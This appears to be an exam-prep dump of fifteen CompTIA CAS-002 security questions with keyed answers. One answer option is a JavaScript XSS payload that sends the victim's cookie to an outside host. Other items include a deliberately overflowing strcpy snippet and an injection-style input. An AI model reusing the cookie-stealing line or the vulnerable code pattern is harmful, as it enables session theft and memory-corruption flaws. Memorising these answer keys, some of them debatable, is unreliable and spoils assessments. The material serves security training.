CAS-002$^{Q\&As}$

CompTIA Advanced Security Practitioner Exam

Pass CompTIA CAS-002 Exam with 100% Guarantee

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

A business owner has raised concerns with the Chief Information Security Officer (CISO) because money has been spent on IT security infrastructure, but corporate assets are still found to be vulnerable. The business recently implemented a patch management product and SOE hardening initiative. A third party auditor reported findings against the business because some systems were missing patches. Which of the following statements BEST describes this situation?

A. The business owner is at fault because they are responsible for patching the systems and have already been given patch management and SOE hardening products.

B. The audit findings are invalid because remedial steps have already been applied to patch servers and the remediation takes time to complete.

C. The CISO has not selected the correct controls and the audit findings should be assigned to them instead of the business owner.

D. Security controls are generally never 100% effective and gaps should be explained to stakeholders and managed accordingly.

Correct Answer: D

QUESTION 2

Which of the following displays an example of a XSS attack?

A. document.location=\\'http://site.comptia/cgi-bin/script.cgi?\\'+document.cookie

B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc
e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz
d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz
ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb
7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb
b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb

C. Username: PassworD.

D. #include char *code = "AAAABBBBCCCCDDD"; //including the character \\'\0\\' size = 16 bytes void main() {char buf[8]; strcpy(buf, code); }

Correct Answer: A

QUESTION 3

The security manager is in the process of writing a business case to replace a legacy secure web gateway so as to meet an availability requirement of 99.9% service availability. According to the vendor, the newly acquired firewall has been rated with an MTBF of 10,000 hours and has an MTTR of 2 hours. This equates to 1.75 hours per year of downtime. Based on this, which of the following is the MOST accurate statement?

A. The firewall will meet the availability requirement because availability will be 99.98%.

B. The firewall will not meet the availability requirement because availability will be 85%.

C. The firewall will meet the availability requirement because availability will be 99.993%.

D. The firewall will not meet the availability requirement because availability will be 99.2%.

Correct Answer: A

QUESTION 4

Company ABC has grown yearly through mergers and acquisitions. This has led to over 200 internal custom web applications having standalone identity stores. In order to reduce costs and improve operational efficiencies a project has been

initiated to implement a centralized security infrastructure.

The requirements are as follows:

Reduce costs

Improve efficiencies and time to market

Manageable

Accurate identity information

Standardize on authentication and authorization

Ensure a reusable model with standard integration patterns

Which of the following security solution options will BEST meet the above requirements? (Select THREE).

A. Build an organization-wide fine grained access control model stored in a centralized policy data store.

B. Implement self service provisioning of identity information, coarse grained, and fine grained access control.

C. Implement a web access control agent based model with a centralized directory model providing coarse grained access control and single sign-on capabilities.

D. Implement a web access controlled reverse proxy and centralized directory model providing coarse grained access control and single sign-on capabilities.

E. Implement automated provisioning of identity information; coarse grained, and fine grained access control.

F. Move each of the applications individual fine grained access control models into a centralized directory with fine grained access control.

G. Implement a web access control forward proxy and centralized directory model, providing coarse grained access control, and single sign-on capabilities.

Correct Answer: ADE

QUESTION 5

Due to a new regulation, a company has to increase active monitoring of security-related events to 24 hours a day. The security staff only has three full time employees that work during normal business hours. Instead of hiring new security analysts to cover the remaining shifts necessary to meet the monitoring requirement, the Chief Information Officer (CIO) has hired a Managed Security Service (MSS) to monitor events. Which of the following should the company do to ensure that the chosen MSS meets expectations?

A. Develop a memorandum of understanding on what the MSS is responsible to provide.

B. Create internal metrics to track MSS performance.

C. Establish a mutually agreed upon service level agreement.

D. Issue a RFP to ensure the MSS follows guidelines.

Correct Answer: C

QUESTION 6

A security code reviewer has been engaged to manually review a legacy application. A number of systemic issues have been uncovered relating to buffer overflows and format string vulnerabilities.

The reviewer has advised that future software projects utilize managed code platforms if at all possible.

Which of the following languages would suit this recommendation? (Select TWO).

A. C

B. C#

C. C++

D. Perl

E. Java

Correct Answer: BE

QUESTION 7

The Chief Information Officer (CIO) comes to the security manager and asks what can be done to reduce the potential of sensitive data being emailed out of the company. Which of the following is an active security measure to protect against this threat?

A. Require a digital signature on all outgoing emails.

B. Sanitize outgoing content.

C. Implement a data classification policy.

D. Implement a SPAM filter.

Correct Answer: B

QUESTION 8

A security administrator was doing a packet capture and noticed a system communicating with an address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?

A. Investigate the network traffic and block UDP port 3544 at the firewall

B. Remove the system from the network and disable IPv6 at the router

C. Locate and remove the unauthorized 6to4 relay from the network

D. Disable the switch port and block the 2001::/32 traffic at the firewall

Correct Answer: A

QUESTION 9

An administrator wants to virtualize the company\\'s web servers, application servers, and database servers. Which of the following should be done to secure the virtual host machines? (Select TWO).

A. Establish VLANs for each virtual guest\\'s NIC on the virtual switch.

B. Enable virtual switch layer 2 security precautions.

C. Only access hosts through a secure management interface.

D. Distribute guests to hosts by application role or trust zone.

E. Restrict physical and network access to the host console.

Correct Answer: CE

QUESTION 10

An administrator notices the following file in the Linux server\\'s /tmp directory.

-rwsr-xr-x. 4 root root 234223 Jun 6 22:52 bash*

Which of the following should be done to prevent further attacks of this nature?

A. Never mount the /tmp directory over NFS

B. Stop the rpcidmapd service from running

C. Mount all tmp directories nosuid, noexec

D. Restrict access to the /tmp directory

Correct Answer: C

QUESTION 11

A firm\\'s Chief Executive Officer (CEO) is concerned that its IT staff lacks the knowledge to identify complex vulnerabilities that may exist in the payment system being internally developed. The payment system being developed will be sold to a number of organizations and is in direct competition with another leading product. The CEO highlighted, in a risk management meeting that code base confidentiality is of upmost importance to allow the company to exceed the competition in terms of product reliability, stability and performance. The CEO also highlighted that company reputation for secure products is extremely important. Which of the following will provide the MOST thorough testing and satisfy the CEO\\'s requirements?

A. Use the security assurance team and development team to perform Grey box testing.

B. Sign a NDA with a large consulting firm and use the firm to perform Black box testing.

C. Use the security assurance team and development team to perform Black box testing.

D. Sign a NDA with a small consulting firm and use the firm to perform Grey box testing.

Correct Answer: D

QUESTION 12

A data breach occurred which impacted the HR and payroll system. It is believed that an attack from within the organization resulted in the data breach. Which of the following should be performed FIRST after the data breach occurred?

A. Assess system status

B. Restore from backup tapes

C. Conduct a business impact analysis

D. Review NIDS logs

Correct Answer: A

QUESTION 13

select id, firstname, lastname from authors

User input= firstname= Hack;man

lastname=Johnson

Which of the following types of attacks is the user attempting?

A. XML injection

B. Command injection

C. Cross-site scripting

D. SQL injection

Correct Answer: D

QUESTION 14

Company policy requires that all company laptops meet the following baseline requirements:

Software requirements: Antivirus Anti-malware Anti-spyware Log monitoring Full-disk encryption Terminal services enabled for RDP Administrative access for local users

Hardware restrictions: Bluetooth disabled FireWire disabled WiFi adapter disabled Ann, a web developer, reports performance issues with her laptop and is not able to access any network resources. After further investigation, a bootkit was discovered and it was trying to access external websites. Which of the following

hardening techniques should be applied to mitigate this specific issue from reoccurring? (Select TWO).

A. Group policy to limit web access

B. Restrict VPN access for all mobile users

C. Remove full-disk encryption

D. Remove administrative access to local users

E. Restrict/disable TELNET access to network resources

F. Perform vulnerability scanning on a daily basis

G. Restrict/disable USB access

Correct Answer: DG

QUESTION 15

Company XYZ has employed a consultant to perform a controls assessment of the HR system, backend business operations, and the SCADA system used in the factory. Which of the following correctly states the risk management options that the consultant should use during the assessment?

A. Risk reduction, risk sharing, risk retention, and risk acceptance.

B. Avoid, transfer, mitigate, and accept.

C. Risk likelihood, asset value, and threat level.

D. Calculate risk by determining technical likelihood and potential business impact.

Correct Answer: B